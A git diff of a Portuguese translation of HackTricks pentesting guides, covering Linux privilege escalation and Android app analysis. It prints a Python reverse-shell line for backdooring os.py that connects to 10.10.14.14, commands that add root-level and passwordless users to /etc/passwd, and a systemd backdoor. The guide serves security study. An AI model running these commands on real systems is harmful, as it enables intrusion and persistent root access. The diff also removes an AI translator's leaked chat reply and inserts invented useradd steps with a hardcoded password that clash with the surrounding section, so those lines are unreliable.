se você pode lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do SO, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1253,7 +1253,7 @@ Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd gravável +### Permissão de escrita em /etc/passwd Primeiro, gere uma senha com um dos seguintes comandos. ``` @@ -1261,28 +1261,27 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Preciso do conteúdo do arquivo src/linux-hardening/privilege-escalation/README.md para poder traduzi-lo. Deseja também que eu: +Então adicione o usuário `hacker` e defina a senha gerada. -- Gere uma senha forte (por exemplo 16 caracteres: maiúsculas, minúsculas, dígitos e símbolos) e a adicione ao final do README como credencial em texto claro? -- Ou prefira que eu adicione apenas o comando para criar o usuário `hacker` e configurar a senha (por exemplo: useradd -m hacker && echo 'hacker:SenhaGerada' | sudo chpasswd), sem exibir a senha em claro? - -Responda qual opção prefere e, se quiser, informe requisitos da senha (comprimento, caracteres permitidos). Depois eu faço a tradução do README.md e adiciono a seção solicitada. +```bash +sudo useradd -m -s /bin/bash hacker +echo 'hacker:N7s$3qVx9B!r4YwZ' | sudo chpasswd +``` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Você agora pode usar o comando `su` com `hacker:hacker` +Agora você pode usar o comando `su` com `hacker:hacker` -Alternativamente, você pode usar as seguintes linhas para adicionar um usuário dummy sem senha.\ -AVISO: isso pode degradar a segurança atual da máquina. +Alternativamente, você pode usar as linhas a seguir para adicionar um usuário dummy sem senha.\ AVISO: isso pode comprometer a segurança atual da máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso o `/etc/shadow` foi renomeado para `/etc/spwd.db`. -Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1293,15 +1292,15 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Seu backdoor será executado na próxima vez que o tomcat for iniciado. +Sua backdoor será executada na próxima vez que o tomcat for iniciado. -### Verificar pastas +### Verificar diretórios -As pastas a seguir podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler a última, mas tente) +Os seguintes diretórios podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Localização Estranha/Arquivos Owned +### Arquivos em Localização Estranha/Owned ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1334,7 +1333,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries no PATH** +### **Scripts/Binários no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1350,22 +1349,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Arquivos conhecidos que contêm passwords +### Arquivos conhecidos que contêm senhas -Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura **vários arquivos possíveis que podem conter passwords**.\ -**Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitos passwords armazenados em um computador local para Windows, Linux & Mac. +Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos que podem conter senhas**.\ +**Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs -Se você conseguir ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais no seu interior**. Quanto mais estranho for o log, mais interessante provavelmente será.\ -Além disso, alguns "**ruim**" configurados (backdoored?) **audit logs** podem permitir que você **grave passwords** dentro dos audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho for o log, mais interessante ele provavelmente será (provavelmente).\ +Além disso, alguns **"mal"** configurados (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro de audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. -### Shell files +### Arquivos de shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1376,43 +1375,43 @@ Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm- ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Busca/Regex de Creds Genéricas +### Generic Creds Search/Regex -Você também deve checar por arquivos contendo a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também checar por IPs e emails dentro de logs, ou hashes regexps.\ -Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode checar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Você também deve verificar arquivos que contenham a palavra "**password**" no seu **nome** ou no **conteúdo**, e também procurar por IPs e emails em logs, ou por hashes usando regexps.\ +Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode conferir as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. ## Arquivos graváveis ### Python library hijacking -Se você souber **de onde** um script python será executado e você **puder escrever dentro** dessa pasta ou puder **modificar python libraries**, você pode modificar a biblioteca OS e backdoor it (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). +Se você souber de **onde** um script python será executado e **puder escrever** nessa pasta ou **modify python libraries**, você pode modificar a OS library e backdoor it (se você puder escrever onde o script python será executado, copie e cole a os.py library). -Para **backdoor the library** apenas adicione ao final da biblioteca os.py a seguinte linha (altere IP e PORT): +Para **backdoor the library**, basta adicionar ao final da os.py library a seguinte linha (altere IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploração +### Logrotate exploitation -Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai possivelmente obtenham privilégios escalados. Isso ocorre porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não só em _/var/log_ mas também em qualquer diretório onde a rotação de logs seja aplicada. +Uma vulnerabilidade em `logrotate` permite que usuários com **permissão de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios elevados. Isso ocorre porque `logrotate`, muitas vezes executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs é aplicada. > [!TIP] -> Esta vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores +> Esta vulnerabilidade afeta `logrotate` na versão `3.18.0` e anteriores Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Você pode explorar esta vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). +Você pode explorar essa vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidade é muito semelhante à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se consegue escalar privilégios substituindo os logs por symlinks. +Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e veja se você pode escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário for capaz de **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **system is pwned**. +Se, por qualquer motivo, um usuário consegue **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** consegue **ajustar** um já existente, então seu **sistema está pwned**. -Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Entretanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. +No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1420,17 +1419,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Observe o espaço em branco entre Network e /bin/id_) +(_Note o espaço em branco entre Network e /bin/id_) ### **init, init.d, systemd, and rc.d** -O diretório `/etc/init.d` abriga **scripts** do System V init (SysVinit), o **clássico sistema de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart`, e às vezes `reload` serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` é o local dos **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais novo introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para Upstart, scripts SysVinit ainda são utilizados juntamente com configurações Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao Upstart, um mais novo sistema de **service management** introduzido pela Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviço. Apesar da transição para Upstart, scripts SysVinit ainda são usados junto às configurações do Upstart devido a uma camada de compatibilidade no Upstart. -**systemd** surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como início de daemons sob demanda, gerenciamento de montagem automática e instantâneos do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. +**systemd** surge como um manager moderno de inicialização e serviços, oferecendo recursos avançados como start on-demand de daemons, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes da distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. -## Outros Truques +## Outros truques ### NFS Privilege escalation @@ -1455,23 +1454,23 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks normalmente hook uma syscall para expor funcionalidades privilegiadas do kernel a um gerenciador em userspace. Autenticação fraca do gerenciador (ex.: verificações de assinatura baseadas em FD-order ou esquemas de senha fracos) pode permitir que um app local se faça passar pelo gerenciador e escale para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui: +Android rooting frameworks comumente hookam um syscall para expor funcionalidade privilegiada do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, checagens de assinatura baseadas em FD-order ou esquemas de senha pobres) pode permitir que um app local se faça passar pelo manager e escale para root em dispositivos já-rooted. Saiba mais e detalhes de exploração aqui: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Proteções de Segurança do Kernel +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Mais ajuda +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Ferramentas Linux/Unix para Privesc +## Linux/Unix Privesc Tools ### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) @@ -1484,7 +1483,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilação de mais scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referências diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 8a16c2f2c..834f0dd22 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Conceitos Básicos de Aplicações Android +## Noções Básicas de Aplicações Android -É altamente recomendável começar por ler esta página para conhecer as **partes mais importantes relacionadas à segurança do Android e os componentes mais perigosos em uma aplicação Android**: +É altamente recomendado começar lendo esta página para conhecer **as partes mais importantes relacionadas à segurança Android e os componentes mais perigosos em uma aplicação Android**: {{#ref}} @@ -13,15 +13,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Esta é a ferramenta principal que você precisa para conectar-se a um dispositivo Android (emulado ou físico).\ -**ADB** permite controlar dispositivos tanto via **USB** quanto via **Network** a partir de um computador. Esta utilidade possibilita o **copiamento** de arquivos em ambas direções, a **instalação** e **desinstalação** de apps, a **execução** de comandos shell, o **backup** de dados, a **leitura** de logs, entre outras funções. +Esta é a principal ferramenta que você precisa para conectar a um dispositivo Android (emulado ou físico).\ +**ADB** permite controlar dispositivos via **USB** ou **rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de apps, **execução** de comandos shell, **backup** de dados, **leitura** de logs, entre outras funções. -Veja a seguinte lista de [**ADB Commands**](adb-commands.md) para aprender a usar o adb. +Dê uma olhada na lista a seguir de [**ADB Commands**](adb-commands.md) para aprender como usar o adb. ## Smali -Por vezes é interessante **modificar o código da aplicação** para acessar **informações escondidas** (talvez senhas bem ofuscadas ou flags). Nesse caso, pode ser interessante decompilar o apk, modificar o código e recompilar o apk.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Isto pode ser muito útil como uma **alternativa para vários testes durante o dynamic analysis** que serão apresentados. Portanto, **tenha sempre em mente essa possibilidade**. +Às vezes é interessante **modificar o código da aplicação** para acessar **informações ocultas** (talvez senhas bem ofuscadas ou flags). Então, pode ser interessante decompilar o apk, modificar o código e recompilar o apk.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Isso pode ser muito útil como **alternativa para vários testes durante a análise dinâmica** que serão apresentados. Portanto, mantenha sempre em mente essa possibilidade. ## Outras dicas interessantes @@ -29,7 +29,7 @@ Por vezes é interessante **modificar o código da aplicação** para acessar ** - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- **Baixar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Extrair APK do dispositivo: ```bash adb shell pm list packages @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Mescle todos os splits e apks base com [APKEditor](https://github.com/REAndroid/APKEditor): +- Mesclar todos os splits e base apks com [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -63,37 +63,37 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Análise Estática -First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ -Please, [**read here to find information about different available decompilers**](apk-decompilers.md). +Antes de tudo, para analisar um APK você deve **dar uma olhada no código Java** usando um decompilador.\ +Por favor, [**leia aqui para encontrar informação sobre diferentes decompiladores disponíveis**](apk-decompilers.md). ### Procurando informações interessantes -Apenas dando uma olhada nas **strings** do APK você pode procurar por **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais admin hardcoded no app). +Apenas olhando as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por backdoors de execução de código ou backdoors de autenticação (credenciais admin hardcoded no app). **Firebase** -Preste atenção especial às **firebase URLs** e verifique se está mal configurado. [Mais informação sobre o que é Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Preste atenção especial às **firebase URLs** e verifique se está mal configurado. [Mais informações sobre o que é Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Entendimento básico da aplicação - Manifest.xml, strings.xml -A **examinação dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do APK para .zip e descompactando-o. +A **examinação dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e então descompactando-o. -**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem: +**Vulnerabilidades** identificadas no **Manifest.xml** incluem: -- **Debuggable Applications**: Aplicações marcadas como debuggable (`debuggable="true"`) no _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para entender melhor como explorar aplicações debuggable, consulte um tutorial sobre como encontrar e explorar aplicações debuggable em um dispositivo. -- **Backup Settings**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups não autorizados via adb, especialmente quando usb debugging está ativado. -- **Network Security**: Configurações de network security customizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como certificate pins e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos. -- **Exported Activities and Services**: Identificar activities e services exportados no manifest pode destacar componentes que podem ser mal utilizados. Análises adicionais durante testes dinâmicos podem revelar como explorar esses componentes. -- **Content Providers and FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser examinada. -- **Broadcast Receivers and URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção particular a como os URL schemes são gerenciados para vulnerabilidades de input. -- **SDK Versions**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões antigas e vulneráveis do Android por razões de segurança. +- **Debuggable Applications**: Aplicações marcadas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para entender melhor como explorar aplicações debuggable, consulte um tutorial sobre encontrar e explorar aplicações debuggable em um dispositivo. +- **Backup Settings**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis, para evitar backups de dados não autorizados via adb, especialmente quando usb debugging está habilitado. +- **Network Security**: Configurações customizadas de network security (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como certificate pins e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos. +- **Exported Activities and Services**: Identificar activities e services exportados no manifest pode destacar componentes que podem ser mal utilizados. Análises dinâmicas adicionais podem revelar como explorar esses componentes. +- **Content Providers and FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração dos FileProviders também deve ser analisada cuidadosamente. +- **Broadcast Receivers and URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os URL schemes são gerenciados para vulnerabilidades de entrada. +- **SDK Versions**: Os atributos `minSdkVersion`, `targetSDKVersion`, e `maxSdkVersion` indicam as versões Android suportadas, ressaltando a importância de não suportar versões Android desatualizadas e vulneráveis por razões de segurança. -A partir do arquivo **strings.xml**, informações sensíveis como API keys, custom schemas e outras notas de desenvolvedor podem ser descobertas, ressaltando a necessidade de revisão cuidadosa desses recursos. +No arquivo **strings.xml**, informações sensíveis como chaves de API, schemas customizados e outras anotações de desenvolvedores podem ser descobertas, reforçando a necessidade de revisão cuidadosa desses recursos. ### Tapjacking -**Tapjacking** é um ataque onde uma **malicious application** é iniciada e **se posiciona por cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface é desenhada de forma a enganar o usuário para interagir com ela, enquanto repassa a interação para o app vítima.\ -Na prática, é **cegar o usuário para que ele não saiba que na verdade está executando ações no app vítima**. +**Tapjacking** é um ataque onde uma **aplicação** **maliciosa** é executada e **se posiciona por cima de uma aplicação vítima**. Uma vez que obscurece visualmente a aplicação vítima, sua interface é desenhada de modo a enganar o usuário para interagir com ela, enquanto passa a interação para a aplicação vítima.\ +Na prática, é **cegar o usuário para que ele não saiba que está realmente executando ações na aplicação vítima**. Find more information in: @@ -104,7 +104,7 @@ tapjacking.md ### Task Hijacking -Uma **activity** com o **`launchMode`** definido como **`singleTask` sem nenhum `taskAffinity`** definido é vulnerável a Task Hijacking. Isso significa que uma **application** pode ser instalada e, se for lançada antes da aplicação real, poderia **hijack the task of the real application** (portanto o usuário estará interagindo com a **malicious application pensando que está usando a aplicação real**). +Uma **activity** com o **`launchMode`** definido para **`singleTask` sem qualquer `taskAffinity`** definida é vulnerável a Task Hijacking. Isso significa que uma **application** pode ser instalada e, se iniciada antes da aplicação real, poderia **hijackar a task da aplicação real** (fazendo com que o usuário interaja com a **aplicação maliciosa achando que está usando a aplicação real**). More info in: @@ -113,73 +113,73 @@ More info in: android-task-hijacking.md {{#endref}} -### Insecure data storage +### Armazenamento de dados inseguro -**Internal Storage** +**Armazenamento Interno** -No Android, arquivos **armazenados** em **internal** storage são **projetados** para serem **acessíveis** exclusivamente pelo **app** que os **criou**. Essa medida de segurança é **aplicada** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. Ainda assim, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo possivelmente maliciosas. +No Android, arquivos **armazenados** no armazenamento **interno** são **projetados** para serem **acessíveis** exclusivamente pela **aplicação** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. Ainda assim, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo possíveis aplicações maliciosas. 1. **Static Analysis:** -- **Verifique** cuidadosamente o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE`. Esses modos **podem expor** arquivos a **acesso não intencional ou não autorizado**. +- **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente analisado**. Esses modos **podem potencialmente expor** arquivos a **acesso não intencional ou não autorizado**. 2. **Dynamic Analysis:** -- **Confirme** as **permissões** definidas em arquivos criados pelo app. Especificamente, **verifique** se algum arquivo está **definido como legível ou gravável mundialmente**. Isso pode representar um risco significativo de segurança, pois permitiria que **qualquer aplicação** instalada no dispositivo, independentemente de sua origem ou intenção, **leia ou modifique** esses arquivos. +- **Verifique** as **permissões** definidas nos arquivos criados pelo app. Especificamente, **confirme** se algum arquivo está **definido como legível ou gravável mundialmente**. Isso pode representar um risco significativo de segurança, pois permitiria que **qualquer aplicação** instalada no dispositivo, independente de sua origem ou intenção, **leia ou modifique** esses arquivos. -**External Storage** +**Armazenamento Externo** -Ao lidar com arquivos em **external storage**, como SD Cards, certas precauções devem ser tomadas: +Ao lidar com arquivos no **armazenamento externo**, como SD Cards, algumas precauções devem ser tomadas: 1. **Acessibilidade**: -- Arquivos em external storage são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicação ou usuário pode acessar esses arquivos. +- Arquivos no armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicação ou usuário pode acessar esses arquivos. 2. **Preocupações de Segurança**: -- Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** em external storage. -- External storage pode ser removido ou acessado por qualquer aplicação, tornando-o menos seguro. -3. **Tratamento de Dados vindos de External Storage**: -- Sempre **faça validação de input** em dados recuperados de external storage. Isso é crucial porque os dados vêm de uma fonte não confiável. -- Armazenar executáveis ou arquivos .class em external storage para carregamento dinâmico é fortemente desaconselhado. -- 